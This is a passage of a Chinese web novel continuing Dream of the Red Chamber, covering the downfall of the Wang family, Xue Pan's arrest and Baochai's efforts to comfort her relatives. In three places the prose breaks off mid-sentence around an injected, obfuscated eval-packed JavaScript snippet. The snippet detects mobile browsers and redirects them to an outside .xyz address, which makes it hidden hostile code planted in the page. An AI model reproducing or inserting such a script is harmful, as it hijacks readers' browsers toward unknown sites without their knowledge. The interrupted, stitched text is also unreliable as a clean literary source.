他身为亲王，挂在旁人名下的当铺自然不会少。掌柜的早就瞄准了几家旧勋贵，他们家太太、奶奶们早就撑不住，开始活当头面首饰周转。如今再一追缴欠银，定是撑不住要死当了。 今上心知忠顺王等人不会缴纳欠银，也只好视而不见。追缴欠银本就是个得罪人的活儿，再不给些好处，恐怕手下都没人愿意干活了。只是一连几月，忠顺王甚至亲自带人追到他们家中催促，只是收效甚微。 一些位卑职小的官员，忠顺王连敲带打，尚能叫他们还上欠银。可不过是几百、几千两，哪里能填上国库这个大窟窿。可剩下的，要么是官职高，忠顺王不好撕破脸上门，要么是如贾家这般，家中尚有皇妃，忠顺王不好打今上的脸。 待今上要追究时，五月间太上皇忽然驾崩，朝野内外均忙碌起来，哪里还能顾上欠银一事。只是太上皇的丧事更不能简办，幸而陵墓是早就修好的，省了这一项的支出，不然今上更觉头痛。 因而，后宫上下自皇后而起，分例尽皆减半，不许见奢华服饰。又不知是自谁而起，臣子们纷纷进献金银财物。今上见臣子如此行事，愈发得意，不仅未曾制止，反而多次嘉奖夸赞，叫不少臣子越发来劲。 苏父及苏鸿不好凑这个热闹，见状也只是随大流送了二百两，在外装作捉襟见肘的模样。旁人见他们父子不会孝敬，又不敢向下头搜刮，俱都暗自嘲笑。他们二人倒是坦然自若，只当不知罢了。 他们按品级轮班守制，每日起早贪黑，比寻常更加辛苦。苏母因身上有安人敕命，也要入宫去，唯有宝钗因嫁给苏鸿时间不长，礼部未及时授敕封，才得以在家中照管。 宝钗素日妥帖，又深受婆母、丈夫信任，苏家下人亦非倚老卖老之人，因而不过几日便将苏家上下调理顺当，再无一丝错漏。苏鸿见宝钗周全至此，心里十分感激，倒叫宝钗不好意思领受。 好容易挨过这段日子，朝中上下又要送先帝之灵至陵墓。因百官随行，一应国事都随驾移动。幸而翰林院的事都惯用水磨工夫，不是急事，便实实在在享了一月清闲。 谁知圣驾刚至行宫，城中便飞马来报。竟是湖广道监察御史上书，言说数县之地生乱，叛军言说朝廷苛刻寡恩，举旗谋反。九省都检点王子腾误伤良民及其田产，纵兵劫掠，但好在已将叛军镇压。 此事一出，朝中议论纷纷，今上更是怒不可遏。他素知那些刁民叛乱之心不死，忍着忌惮才将王子腾派出，谁知他满嘴歌功颂德、言说一切安好，背地里竟是如此无能。如今虽说镇压叛军是一件功劳，但伤及良民，岂不更叫百姓心寒，未来更会生乱。 众人皆知，一旦所作所为不利于己，总会言语修饰一番。监察御史如此上书，直言纵兵劫掠、误伤良民，实情只会更加严重。正巧王子腾密折也送到此处，今上见他只是轻描淡写，说叛军生乱，已经镇压云云，心中更是恼怒。 正值忠顺王伴驾，素与王家、贾家有旧怨，见王子腾办差出了岔子，哪有不落井下石的道理。彼时贾雨村尚在，他先前被降为兵部侍郎，虽靠着善于谄媚讨好稍稍复了圣宠，但见今上盛怒，忠顺王煽风点火，终究不敢出言求情。 今上本就有心发落王家，便顺水推舟下诏，叫王子腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16421681|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日夜兼程赶回京城述职。又听皇后言说王子腾家眷亦在送灵随行之列，便更是再无挂碍，一心等王子腾回来后之治罪。 王家消息并不灵通，旁人只以为兹事体大，今上要亲听奏报，不疑有他。忠顺王等知情人，则担心走漏风声后王子腾畏罪潜逃，今上怪罪，亦然一言不发。因而王家一切如常，王子腾夫人亦与贾家等故交亲友往来如常，并无一人察觉此事。 贾雨村见太上皇已死，今上对王家极为不满，可谓败势已定，便也不敢再与王家、贾家相交。思及背后没有靠山，忠顺王却圣眷正浓，威威赫赫，便悄遣奴仆前去送了厚礼。 忠顺王见贾雨村如此上道，知道孝敬，且敛财手段并无忌讳，在外又是一身才干，便也欣然收下。只是又命贾雨村不可泄露行迹，叫贾家、王家等人知晓。 因而一月后圣驾回京，王子腾入宫面圣时，便是今上劈头盖脸一顿贬斥。王子腾未曾料到，他打点当地上下官员，花费数万两白银，竟是不曾将此事捂住。他战战兢兢俯跪在地，今上却毫不留情，见他认罪，便下旨将王子腾的官职一撸到底。 谁知都察院忽然弹劾王子腾结交外官、剥削百姓、使用逾制之物等事，一应人证物证俱全。王子腾心惊肉跳，这些事虽说件件属实，却只有亲信知道，何曾走漏风声，还被人搜罗出如此齐全的罪证。 尤其剥削百姓的那些，均是他近日为孝敬今上，在地方私自作为，怎么也想不到这些事怎会被捅到今上面前。只是铁证如山，他便是想叫故交亲友拉自己一把，也实在无可辩驳。今上见状，便叫人将王子腾压入大牢，严加审问，不可有丝毫遗漏。 此消息传出，前朝后宫一片哗然。贾元春自家没有得用的人，也就亲舅舅在仕途上有还有本事。没想到亲舅舅毫无征兆就被入官，自己却没得到丝毫消息，贾元春心中只觉大事不妙。 其余嫔妃，见贾元春家中彻底没有得力的人在官场上，更是频频试探打压。更有甚者，在今上跟前进献谗言，叫贾元春本就不多的恩宠渐渐消散。元春亦是试图争宠，却实在抵不过众人合力，渐入下风。 前朝上，苏家和纪花明本就与王家没有交集，何况铁证如山，他们也只是充耳不闻。贾政虽为王子腾所犯之事惊心，但看在他是内兄的份上又希望能搭救一把。可他先前为凑齐欠银一事与大房彻底交恶，他并非袭爵之人，旁人哪里还肯卖他面子。 树倒猢狲散，不乏落井下石之人。一连几日，不见为王子腾求情之人，弹劾他及金陵王家的折子却堆满了今上的桌案。更有甚者，拿出王子腾受财枉法、王家包揽诉讼以至伤害人命之事。 今上见王家势败乃众望所归，刑部上奏王子腾及王家累累罪证，提议应判王子腾斩监候，其兄交通外官、不修德行，理应夺爵，查抄家产云云。大理寺与都察院见此，也都认为合乎律法，附议。 圣旨一下，便再无转圜的余地。因王子腾被斩立决，连交银子恕罪的可能性都没有，俨然无力回天。王夫人、薛太太及凤姐等人，听闻娘家被抄，王子腾被斩首，其余一干亲戚要么被问罪、要么沦为平民，尽皆伤心落泪。 幸而男子们被论罪处置，女眷们大多无妨，只是因家产被查抄，只能守着嫁妆度日，生活着实艰难。贾政、王夫人等一边帮着安置亲戚，一边又暗暗心惊：先时甄家被查抄，他们离得远，倒还不以为意，眼下竟是抄到王家身上。 贾家、薛家素日与王家亲近，又是姻亲，若今上铁了心要怪罪，他们又怎么能逃得开。一时心情沉重，却又不敢声张，只心中忧惧。 宝钗见薛太太日夜忧心，便也时常过来陪伴。谁知见到王夫人与凤姐，其面容均十分憔悴，瞧着疲惫不堪。细问之下，才知道大房和二房彻底闹翻了，虽然一门之隔，但两房居住之地的角门死死锁住，竟是再不来往。 大房知道王家的事，非但不借此关怀弟弟、弟媳，反而时常过来嘲讽，越发气得王夫人神色恹恹。更别提凤姐那边，因她先前帮着王夫人管家，又是王家人出身，这会儿邢夫人占了上风，越发糟蹋起儿媳妇，立规矩、训诫等无所不为，将凤姐的连忙往脚底下踩。 贾琏往日让着凤姐，不外乎因她叔叔位高权重，才落了个惧内的名声。如今见有翻身之机，哪里肯让着凤姐，即便有平儿、尤二姐等在旁劝解，依然不依不饶，见了凤姐更是全无半点好脸。 贾赦又说王家获罪，王熙凤到底是王家出来的女儿，不宜留在家里，竟是叫贾琏休妻。贾琏本就不满王熙凤的脾性，便趁着王家被抄家这股东风，顺水推舟休弃王熙凤。 待贾政与王夫人知道后，又因是隔房的叔叔不好管，王家又有错在先，只好忍了这口气。王熙凤无处可去，便只好带着平儿在王夫人处过活，只是日日伤心，又思念巧姐儿，不免缠绵病榻。只是外出见客时，仍旧装扮起来，叫人看不出她的心事。 宝钗从薛太太处听闻此事，只觉心中悲凉。贾史王薛四家素来相互扶持照应，如今王家被查抄，又有甄家的先例在，贾家和薛家与王家的勾当不少，如何能免俗。正该团结一心寻个出路，却相互猜忌。旁人见贾家如此，岂有不痛快下手的。 她私下解劝王夫人及凤姐，见她们尚能支撑，终究不曾讲明自己心内隐忧。她听公公说起，查抄王家之时，从王家抬出流水一般的金银珠宝。只从他们家中，查抄出的现银及银票便有一百万两之多，更别提那些陈设、古玩玉器、头面首饰、房屋、土地等物，数不胜数。 户部的人清点财物时，不乏有报“损坏”的，直接瞒报的亦然不少，即使这般，呈到御前后仍叫今上龙颜大悦。宝钗想到自家，亦如小儿抱金行于闹市，更觉心惊肉跳。 53.问罪 宝钗想到近日接连发生这样多的事，不免又为母亲和哥哥担忧。但想到王家表兄中，被牵扯其中的被判发配边疆，其余年纪尚小、未曾违法犯罪的，只是随母一同过活，并未发落。便只是暗暗焦急，倒也勉强能稳住。 年前哥哥还为今上献了重礼，也没少打点内府官员、戴全等人，应当不会有大事。 苏鸿下衙归家，见宝钗愁眉紧锁，针线筐被搁置在一旁。他自身后拥住她，俯身道：“宝卿为何如此，是有何难事不成？” 宝钗回身去看，微微舒展眉头倚进苏鸿怀中道：“倒也没什么，不过是我白担心罢了。这段日子不太平，舅舅违了国法，被判斩监候也是应当。只是家里被抄家，上上下下都不好过。” 苏家上下并不忌讳女人谈论政事，苏父和苏鸿私下还会将朝廷诸事说给她们婆媳。英莲和封娘子也都会看朝廷邸报，对外头的事知之甚详。因而宝钗很是清楚，王子腾的确罪有应得。连带着其他表兄，在金陵也是一霸，无事不做。 这几日，苏母和英莲等人顾忌她舅舅家被查抄问罪，不敢在她面前提起，叫她更觉羞愧。只是比起苏家和姨父的宽容开明，贾琏却丝毫不念夫妻恩义，休弃凤姐姐，让她不敢去想王家已经出嫁的表姊妹们现下的处境如何。 苏鸿见是此事，心里松了口气。听闻有人参奏薛家，弹劾王家与薛家交往密切、虚报账目等事。虽说今上留中不发，暂且未曾理论，但定是听进心里，只是不知何时才会发作。 因事未定准，他不好叫宝钗知道，只悄悄跟薛蟠通了消息，叫他快些想法子走动关系。他斟酌片刻后说道：“好在你舅母和姊妹们都无事，又有亲戚帮扶着，不至于流离失所。” 今上虽说刻薄寡恩，但也没有完全丧失人性。情知这些内宅女子不涉政事，虽然沾带着享受了王子腾带来的荣华富贵，也不过收走王家所有家产罢了。如此也不至于叫其他官员兔死狐悲，感到胆寒。 宝钗闻言亦是一叹，不知为何心中并不安稳。但见苏鸿拥着她安慰，也只好装作放松的模样，不肯叫苏鸿担忧。 第二日一早，苏鸿早早上衙，宝钗与苏母用过早饭后就待在房内同莺儿一起打络子。莺儿瞅着宝钗，忽然开口笑道：“姑娘怎么心神不宁的，线都穿错了。” 宝钗回过神，勉强笑了一笑，胡乱说道：“心里想着妈和哥哥，一时看错了。昨儿安和回来，瞧着也是心事重重的。我想着怕是……” 话音未落，文杏忽然急匆匆跑进来，红着眼圈急道：“姑娘不好了，听说有都察院老爷弹劾咱们家大爷，说是账目造假，贪墨内府分红，被人锁了去了。咱们太太急得晕过去，同喜姐姐来报信，现在还不知道结果呢！” 宝钗霍然起身，却是十分镇定。她略微整理思绪，便说道：“都察院不敢直接到荣国府拿人，此事另有隐情。先拿着姑爷的名帖去请大夫，直接到贾家。莺儿，你叫管家媳妇准备套车，我这就出门。” 说着便连忙到正房回明苏母，苏母与封娘子闻言俱是惊诧。她们不了解薛家其他人，对薛蟠还是极为了解的。薛蟠虽说被苏父教养地通晓规矩律法，但于仕途经济上一窍不通。偏生家里生意大，又跟皇家挂钩，被下面人哄骗了也未尝不知。 她们不好大张旗鼓去贾家，苏母便与宝钗说道：“你哥哥的事让鸿儿在外头转圜，终究是被人蒙蔽，不是天大的事。你妈和妹妹、兄弟都在贾府住着，怕贾家人不高兴，千万把你妈和姊妹们接来咱们府上。” 宝钗连连应下，随即带着人一同到了贾家门前。角门上早有周瑞家的候着，她见苏家的车过来，连忙往里让，又叫人换了轿子将宝钗抬进去。她随着轿子走动，低声道：“太太已经拿帖子请太医过来了，姨太太不妨事。老爷又叫琏二爷到刑部去打听，不多时就回来了。” 宝钗闻言松了口气，一边道谢，一边心神不宁。到了薛家所住的十来间房子门前，她匆匆下轿，周瑞家的见她发髻微松，未曾言语，只示意小丫头们去预备梳洗的东西。 王夫人与凤姐正陪着安慰薛太太，面上满是苦涩。先是娘家的父母兄弟出事，这会儿娘家姑妈姊妹也出事，叫她们既为王、薛两家的遭遇痛苦，又担忧起自家。 王夫人心中更有一层不可言说的隐忧。甄家、王家、薛家都是贾家的老亲，现在虽暂时没事，但老亲频频出事，她不信贾家会安然无恙。元春在宫中本就处境艰难，他们不能稍稍助力也就罢了，竟是拼命扯后腿，也不知元春如今在宫中如何了。 宝玉又不是什么读书上进的性子，黛玉性子包容，也不像是能劝谏宝玉的人。偏她又身子弱，若是有个万一，她请医看病的钱都不知该从何而来。还有探春未定人家，环儿也是好诗词不好读正经书的，就怕未来没了结果。 一旦有事，她们几个老的也就罢了，左右享了半辈子的福。只是剩下她们姊妹几个，元春远在深宫不能照应，其余小的小，弱的弱，宝玉又不知长进，真不知该如何是好。 想到此处，王夫人更是伤心，与凤姐、薛太太三个对坐哭泣。宝琴坐在一旁，亦是攥着帕子流泪。 宝钗来此，见她们都哀哀戚戚，越发哭个不住，心中一酸。薛太太见宝钗过来，连忙起身，一把将宝钗搂进怀里哭道：“我的儿！你怎么过来了，莫不是你婆婆说了什么？” 她那嫁给保宁侯之子的侄女，如今已被休弃归家。她虽知苏家不是什么嫌贫爱富的人，但接连发生的事早叫她疲于应对。王夫人是凤姐儿的亲姑妈，贾琏平日看着也像个人，谁料全然不看二叔二婶的面子。苏家与薛家的交情本不比贾家，若是…… 宝钗见薛太太想到别处，连忙收了眼泪，含泪笑道：“妈说得哪里话，我们太太听说哥哥出事，叫我回来照应的。安和在外头给哥哥打听着，不是要命的大事，妈别担心。” 说着便将薛太太扶回炕上坐着，极力安慰惊慌失措的薛太太。王夫人和凤姐见状，知道母女俩定是有贴心话想说，便随意寻了个借口离开。只是又叮嘱一句，说贾政已经叫贾琏去打探了，叫他们不必着急。 宝钗母女自是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426793|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千恩万谢，送走了她们。待独处时，薛太太才抹着眼泪哭道：“真是世事无常，前几日是你舅舅家，今天就轮到咱们家了。也不知道你哥哥到底怎样，好端端的，就说虚报账目，他哪有那个胆子。” 薛太太从来都是个心软慈悲的人，尚且为兄长侄子侄女们伤心，轮到自己的孩子伤心更甚。从前她身边有宝钗在旁拿主意，倒也能撑着，一旦宝钗离了身边，她遇事也不知该怎么办才好。 宝钗一番劝解，薛太太听了心里才觉好些。她抹着眼泪定定神，说道：“你蝌兄弟说你哥哥的事没准儿就是内府刻意要告的，但别管因为什么，好歹求他们高抬贵手，带着银子往内府去了。琏儿说是往刑部衙门打听，恐怕不中用。” 这世道，做什么事都得银子开道才好。她虽给贾琏封了两千两银票叫他带着打点，但自凤姐一事便可看出他的刻薄，料想也不会舍得把大笔的银子送出去。只是她如今住在贾家，又是姐夫的一番好意，若是推拒就显得她外道了。 幸而前朝还有女婿一家帮忙活动，总不至于被贾琏瞒得死死的。 宝钗见姨父姨妈并未对妈说什么嫌弃的话，但自家沾了官司，怎么好在隔一层的人家里住着。因而悄悄谋于薛太太，想要搬离贾府。苏家隔壁便有一座空宅子，原是薛太太买来送给宝钗做陪嫁的，如今正好住了那里。 薛太太闻言，却思及王夫人与凤姐，她们三个都是没了娘家的人，正该互相安慰。自己一走了之，虽说也是怕自家惹祸牵连亲戚，但难免叫王夫人和凤姐心中闷闷不乐。 母女二人正说些体己话时，莺儿远远就见苏鸿过来，喜得连忙进去通传。话音未落，苏鸿已经掀帘子进来，见宝钗、宝琴一左一右被薛太太搂着，神色并不十分惊慌，才放下心。 不待薛太太发问，他便说道：“太太别慌，我父亲打听到是内府有人告了哥哥账目作假，少给内帑交了分红。我已经往刑部上下都打点过了，委屈大哥在里头住几日，身家性命并无妨碍，剩下的怕是得等户部查完账之后。” 薛太太闻言一把拉住苏鸿，哭道：“我的儿，幸好有你在。你哥哥的性子你知道，他不是什么滑头奸诈的人，怎么会想到做假账这一步。别的都不怕，好歹把你哥哥全须全尾带回来，多少银钱都不怕。” 宝钗和宝琴对视一眼，连忙上前解劝，苏鸿也忙给薛太太好一番解释。确认薛蟠性命无忧，薛太太才舒了口气。她是有年纪的人，心情大起大落之下，未免疲倦不堪，便由宝琴伴着一起歇息。 宝钗和苏鸿悄悄到外头，宝钗见四下开阔无人，方红着眼圈道：“安和，实话跟我说，到底要不要紧？” 苏鸿将宝钗拥入怀中，叹道：“昨儿就有人弹劾，只是今上并未理论。大哥趁夜给几家送了银子，本已说准了将此事压下来，谁知道今早上又是一桩大事。还没来得及活动，今上就把折子翻出来要都察院和刑部、户部查实了上报。” 说着便悄悄附耳说道：“南安郡王上折，说沿海不太平，南安王请求朝廷发兵平定。” 54.前奏 宝钗闻言便知自己先前没有猜错，此时安和和哥哥果然预先知道，只是未曾告诉她和妈。她想了片刻，先是问道：“国库空虚，武备松弛，今上准了不成？” 苏鸿沉默一瞬，不想隐瞒宝钗，便说道：“史家侯爷和卫老将军力主出征，今上只召了群臣参议，尚未决定。” 宝钗又问道：“那都察院的人是在何处带走了哥哥？” 苏鸿看了眼宝钗，叹道：“听到风声后，大哥就去铺子里视察。衙役问到贾府门上，门房就说了大哥的去处。你别多心，不告诉你，也是知道这一遭要么能花银子摆平，要么就只能听今上裁度。” 虚报账目一事，说大便是欺君之罪，吵架砍头不在话下。往小了说，不过是被人蒙蔽，补全了亏空就是。苏鸿昨日也与薛蟠通了消息，知道他确实动了账目，也只好上下打点，想办法帮他通融关系。 眼下这世道，贪污受贿、虚报账目、吃回扣等，都是些见不得光的手段，偏偏十个人里九个人都会这样干。这样的事，不放到台面上时，人人都有默契，不这样做还会被排挤。可一旦放到台面上，想找茬问罪时，这就是现成的把柄。 宝钗闻言冷笑一声，红着眼圈。待要说什么，却又不忍心说出口。他们分明是早就知道大祸临头，却都瞒着不叫她们知道，当个睁眼瞎。平时装得什么都跟她说，问她的主意，如今涉及她娘家的事，又伙着哥哥一起瞒着她。 眼前有火烧眉毛的事，她不想跟苏鸿说些废话，日后她慢慢告诉他便是。因而只瞥了苏鸿一眼，说道：“你们心中有数，我也不便多说。只是南海的事一出，哥哥又正好一头撞上去，不脱层皮轻易是出不来的。钱财终究是身外之物，我舅舅家被问罪，姨妈家风雨飘摇，想来是保不住的。” 先前自家好歹有父亲和叔父在，虽说是挂了虚职行商，但一应故交亲友极其亲密，能相互扶持照应。父亲和叔父一走，那些亲友便散了一半，外省的买卖局更是名存实亡。若非有舅舅和姨父家撑着，他们在京里和金陵的买卖产业也迟早被人吞干净。 人走茶凉四字，说来可恨，却也不过人之常情，思之又觉可笑。 她虽不大懂官场上的事，但朝廷要发兵平乱，军饷、粮草、马匹哪个不需要用钱。薛家没什么靠山，又是大富之家，撞到这个节骨眼上，便是请再多的人去说情也免不了出钱消灾。 苏鸿听出宝钗话里的打算，沉吟片刻后点头道：“我一会儿就去，万不得已时就叫哥哥自请弥补亏空。” 宝钗见他答应地这样爽快，定定看了他一眼。苏鸿自觉失言，被她一看便心里发虚，连忙掩住她的眼睛告饶：“宝卿，一些事并非我不愿说，而是一些风言风语，说了也没用。等家里的事完了，我再悄悄与你说。” 他给御前的人送了不少银子，方打听到薛家竟还涉及从前义忠亲王老千岁的事。但义忠亲王老千岁可是先帝的兄弟，如今先帝都死了，早该被压箱底的事竟也能被翻出来。 苏鸿一边暗暗心惊，一边又知薛家的事恐怕确实没了挽回的余地。尽管薛家不曾在今上这辈试图混个从龙之功，今上对薛家也无甚印象。但无论如何，涉及皇位，以今上敏感多疑的性格绝不会允许薛家还好端端做着皇商、坐享百万家财。 只是拿这个由头去惩治薛家，未免有些上不得台面，因而今上才揪着虚报账目的事叫三司查办。说句不适宜的话，幸而岳父和叔父早逝，不然定会被今上严厉惩处查问。如今剩下个一问三不知的薛蟠、薛蝌，反倒留有一线生机。 宝钗闻言并未强求，见他急得大冷天冒汗，用帕子轻轻将汗水擦去。正欲回屋时，忽然见史湘云带着人远远过来，宝钗不由住了脚步。苏鸿见状要走，宝钗笑道：“这是自家姊妹，你和卫兄弟也熟悉，倒也不用忌讳这些。” 湘云老远就瞧见宝钗和一个男子在树下相拥说话，便知是宝姐夫也在。她先是听卫若兰说起公公已经请命西征，又得知薛家的事，怕宝钗和薛太太伤心无人安慰，便特意赶来贾府探望。 此时见她们夫妻仍旧十分恩爱，她面上微红，心里也放心许多。她缓步上前，几人互相见礼后便一同进了屋子。苏鸿并未久坐，略陪了片刻便告辞离开。他为了薛蟠的事特意请假出来，这会儿还要再带着银子先去寻薛蝌，问明白情形后再想法子打通内府的关节。 见苏鸿离开，史湘云有意活跃气氛，便笑道：“往日我还想着宝姐姐这样的人，还不知宝姐夫是什么样的才能配上。现在仔细瞧瞧宝姐夫，这样的模样、人品才配得上姐姐，我可放心了。” 薛太太休息了一会儿，见女儿女婿都说无事，心里也放松了些。闻言便搂着湘云道：“你们几个姊妹一起陪着长大，你和宝丫头、迎丫头的婚事都好。我们老天拔地的，见你们过得好才安心。” 湘云脸红了一回，心头一直萦绕的阴霾也散了一些。 如今与卫若兰虽说琴瑟和谐，但战场上刀剑无眼，她心中始终有些担忧。只是史家、卫家本就是凭武功起家，如今甄家、王家和薛家接连出事，他们这些老亲哪里能稳坐钓鱼台。好容易有了战事，他们为了立功、维持家族，少不了要争一争。 她虽说不舍丈夫远去，但又岂能因儿女私情贻误国家大事。今上虽未下旨，她们婆媳两个也早早开始给卫家父子打点行装，也好做到事无遗漏，免得到头来慌手慌脚的。 宝钗想到苏鸿方才说的史、卫两家可能要出征，思及家中还有不少昔日父亲行商时留下的药丸，都是治外伤的好药。虽说时间长了，但都是蜡丸，药效仍旧强劲，正好让湘云带上一些。 三人正围坐着说话，就听外头忽然一阵脚步声，王夫人与凤姐满面笑容带着一个衣衫齐整的老婆婆走了进来。 众人起身去迎，凤姐就笑道：“姨妈和妹妹们快坐，是刘姥姥特意来探望咱们。我和太太正暖手呢，就听周姐姐说有老客拜访，我心说是哪门子的老客，不想是刘姥姥。” 自史太君病亡、王家被查抄后，来贾家门前上拜帖的客人忽然便少了许多，日日冷清。便是素日往来的太太奶奶们，也都不见来往。如今听说刘姥姥来访， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432329|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又带着一车的瓜果蔬菜，王夫人和凤姐心中感慨良多。 如今人人都唯恐避之不及，倒是刘姥姥明知王家出事，还执意带着东西上门，叫她们怎能不慰贴。为了宽慰薛太太，王夫人一边跟刘姥姥说话，一边便引着她到薛家门前。 刘姥姥亦知这是王家三小姐，先前来贾家时自己被史太君宴请，也见了见这位三小姐。她笑着上前请安，同喜连忙一把扶起，又请她上炕坐了。刘姥姥见多识广，女婿家在富贵时能与王家连宗，又没落为寻常农户，听闻王家的事也只有感慨命运无常的。 前些年过冬，他们家险些挨不过去，还是凤奶奶大发慈悲给了二十两银子，叫他们好好过了冬，又能添补些土地。第二次过来，又托贾家老太太的福，将贾家的园子逛了一遍。临走时，上至老太太、下至平姑娘等，都给她装了许多衣服、药物、点心，王夫人更是给她了一百两。 有了这些，他们家的日子也好过起来，女婿见她有本事，更是不敢随意跟她大小声。刘姥姥心里明镜儿似的，唯有感激王家的几位姑奶奶。这会儿王家虽遭难，她也不可能因为忌讳就不上门探望。 破船尚有三千钉，她并不担忧这些太太奶奶们生活如何，只怕她们过不去心里这个坎儿。多少富贵人家，虽说家里尚能生活，但因为富贵乍贫，忍不住自杀的比比皆是。她也不怕旁人背后骂她趋炎附势，再如何也是要来瞧瞧，好歹宽慰几句，叫她们心里舒坦些。 她也不提王家那些事，只说家里的干菜晒好了，特意过来孝敬一番，走动走动。又信口编了几个善有善报的故事，叫王夫人和薛太太、凤姐都听住了。宝钗悄悄起身，示意湘云出来，跟丫头们交代一声便一起往潇湘馆去了。 宝钗便问起湘云南征的事情准不准，见她说八分准，便说道：“昔年我父亲在外行商，时常受伤。因而特意请了位医术高明的大夫坐镇商队，搜罗天下珍奇药物，制出不少治伤的丸药。我虽知你们家不缺这个，多少是个心意。等我跟妈说了，就给你送些过去。” 湘云闻言眼泪汪汪，心道家里如何不缺这个。史家上下早就开始节俭，卫家境况则比史家更差些。虽不缺药材，但都是寻常品相。论珍奇丸药，哪里比得上薛家鼎盛时做好的。 先时宝哥哥被二老爷打得那样惨，用了药便好得极快，想来其他的丸药也是极好。真到了刀剑无眼的地方，有了好药真是比旁人多出几条命来。 她知道宝钗既然说出口，就是真心实意。何况这也是关乎人命的事，便不曾推拒，只含泪笑道：“好姐姐，我知道你的心意，就厚颜收下了。先时我还跟林姐姐说，若你是我亲姐姐，便是父母双亡也是不怕的……” 宝钗忙笑道：“你这疯丫头，说这样的话。就算不是亲姐妹，我也是把你当亲妹妹看。” 说话间，二人便到了潇湘馆。紫鹃雪雁正坐在廊下看鹦鹉喝水，见她们过来都十分惊喜。自老太太葬礼后，宝姑娘忙着管苏家的事，云姑娘出阁，都没时间到贾家来。三姑娘还要陪着二太太和二奶奶，也不能时常过来。 55.判决 她们姑娘虽是喜散不喜聚的性子，然而也没独到不喜与人接触的地步。她成日一人独自看书作诗，对比往日姊妹们说亲道热的欢喜，其孤独不言自明。 紫鹃一边笑着将她们引进去，一边笑道：“姑娘，宝姑娘和云姑娘来了。” 黛玉闻言心中一喜，连忙搁笔起身，正要迎出去就见宝钗和湘云相伴着进屋。二人忙叫她坐着，湘云上前按住黛玉，才低头去看墨痕未干的纸张。湘云笑道：“你又得了好诗了，我们忙着没空，你倒是跟探丫头一起才是。” 宝钗亦笑道：“我瞧你气色比先前好些了。前儿姨父做主把宝兄弟挪出园子，拘着他读书，你也该趁着天气凉爽时出去走走逛逛。再不然，到惜春小妹妹那里一同坐着也好，总闷在屋里，心里越发不痛快了。” 黛玉摇摇起身，抿唇一笑，拉她们一同炕上坐着。她笑着点头道：“惜春小妹妹把游园图赶出来了，这几日累得什么似的。别说我，倒是云妹妹，妹夫可像你似的咬舌子爱说话？” 湘云脸一红，反手抱着软枕将黛玉按在炕上挠她痒痒，笑道：“你才是贫嘴贫舌的，看我怎么收拾你。” 宝钗见她们两人说笑着拉扯起来，也笑吟吟看着，见黛玉笑得喘不过气，薄面通红，才上前将两人拉开。黛玉轻喘着一把搂住宝钗笑道：“好姐姐，从此你可别理云丫头，竟是个疯丫头。” 湘云不甘示弱，又抱住宝钗另一边的胳膊枕着，笑嘻嘻道：“宝姐姐别听颦丫头的，她惯会取笑人。” 宝钗一边一个都搂住，笑道：“你们两个五十步笑百步，谁嘴里饶了人，快给我住手。这样热的天玩儿出一身汗，再中了暑气就消停了。” 三人正说笑，得知消息的探春、惜春也结伴来此。黛玉笑道：“除了迎丫头和甄丫头、琴丫头，都到齐了。改日姐姐再来，可把她们也带来，也省我下帖子的功夫了。” 史太君去世后，大房和二房先是为着史太君留下的遗产闹起来，最后还是按着史太君的遗言分配。途中又有贾赦要强行将鸳鸯等人带到大房的插曲，谁知鸳鸯当着族中众人的面，灵前发誓在家庙为史太君守灵。贾赦和邢夫人见此，也只好暂且罢休。 只是此事未了，两房又因为是否归还欠银起了争执。又出了王家被查抄、王熙凤被休弃等事，因而贾府近来气氛压抑，尽管史太君去世的阴影渐渐消散，依然不见往日的欢声笑语。 探春和惜春过来，本是听说薛家的事，怕宝钗心情烦闷，特意赶来。见她神情轻松，不见阴霾，便猜测事情尚有转圜的余地，就将此事搁置不提。今日姊妹们好不容易聚了一回，均暂且放下心事，彼此畅谈，竟大觉开怀。 湘云素来好说好笑，此时打开了话匣子，焉有不提及外事的道理。众闺阁听闻竟又要有战事，虽未曾亲眼见过外头的事，也知这是劳民伤财、却又不可不为之事。 人人都歌功颂德，说这是大治之世，全是诳人的。 探春本就为贾府忧心，如今早已灰心。贾家如今风雨飘摇，尚不能团结一心共渡难关，她便是再省下四百两也没用。幸而老爷和太太醒悟，将家里过多冗余的下人都打发回家，叫他们自己过活。又有大姐姐在宫中，贾家这才勉强支撑。 听闻湘云说她立意习武，一来强身健体，二来以备不时之需，她不由想到自己。她笑着叹道：“但凡我是个男人，可以出得去，也学云丫头去做秦侯、林将军，才不在这里待着。” 